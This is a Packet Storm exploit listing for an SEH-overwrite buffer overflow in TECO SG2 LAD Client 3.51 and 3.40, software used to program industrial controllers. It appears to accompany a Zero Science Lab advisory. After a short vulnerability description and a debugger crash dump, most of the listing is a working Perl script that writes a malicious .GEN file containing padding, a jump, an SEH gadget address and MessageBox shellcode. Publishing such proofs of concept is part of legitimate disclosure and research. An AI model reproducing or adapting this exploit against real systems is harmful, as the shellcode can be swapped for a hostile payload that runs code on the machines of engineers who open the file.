TECO SG2 LAD Client 3.51 SEH Overwrite Buffer Overflow

2015-11-16T00:00:00
ID PACKETSTORM:134380
Type packetstorm
Reporter LiquidWorm
Modified 2015-11-16T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
#  
#  
# TECO SG2 LAD Client 3.51 SEH Overwrite Buffer Overflow Exploit  
#  
#  
# Vendor: TECO Electric and Machinery Co., Ltd.  
# Product web page: http://www.teco-group.eu  
# Download: http://globalsa.teco.com.tw/support_download.aspx?KindID=9  
# Affected version: 3.51 and 3.40  
#  
# Summary: SG2 Client is a program that enables to create and edit applications.  
# The program is providing two edit modes, LADDER and FBD to rapidly and directly  
# input the required app. The Simulation Mode allows users to virtually run and test  
# the program before it is loaded to the controller.  
#  
# Desc: The vulnerability is caused due to a boundary error in the processing of a  
# Genie LAD file, which can be exploited to cause a buffer overflow when a user opens  
# e.g. a specially crafted .GEN file. Successful exploitation could allow execution  
# of arbitrary code on the affected machine.  
#  
# ---------------------------------------------------------------------------------  
# (10bc.1358): Access violation - code c0000005 (first chance)  
# First chance exceptions are reported before any exception handling.  
# This exception may be expected and handled.  
# eax=00000000 ebx=00000000 ecx=43434343 edx=7794b4ad esi=00000000 edi=00000000  
# eip=43434343 esp=0018dc24 ebp=0018dc44 iopl=0 nv up ei pl zr na pe nc  
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246  
# 43434343 ?? ???  
# 0:000> !exchain  
# 0018dc38: ntdll!LdrRemoveLoadAsDataTable+d64 (7794b4ad)  
# 0018e1d4: ntdll!LdrRemoveLoadAsDataTable+d64 (7794b4ad)  
# 0018e800: MFC42!Ordinal1580+373 (708df2fc)  
# 0018f098: 43434343  
# Invalid exception stack at 42424242  
# ---------------------------------------------------------------------------------  
#  
# Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit  
# Microsoft Windows 7 Ultimate SP1 (EN) 64bit  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# @zeroscience  
#  
#  
# Advisory ID: ZSL-2015-5275  
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5275.php  
#  
#  
# 09.10.2015]  
#  
  
  
# 113 bytes MessageBox shellcode  
my $sc = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".  
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".  
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".  
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".  
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".  
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64".  
"\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe".  
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";  
  
# Address = 0041D659  
# Message = 0x0041d659 : pop edi # pop esi # ret 0x04  
# startnull {PAGE_EXECUTE_READ} [LAD.exe]  
# ASLR: False;  
# Rebase: False;  
# SafeSEH: False;  
# OS: False;  
# v0.2.9.0 (C:\Program Files (x86)\TECO\SG2 Client\LAD.exe)  
  
my $file = "lad.gen";  
my $junk = "\x41" x 21750 . "\xEB\x08\x90\x90" . "\x59\xd6\x41\x00" . "\x90" x 28 . $sc . "\x90" x 20;  
open($FILE,">$file");  
print $FILE "$junk";  
close($FILE);  
print "Malicious GEN file created successfully!\n";  
`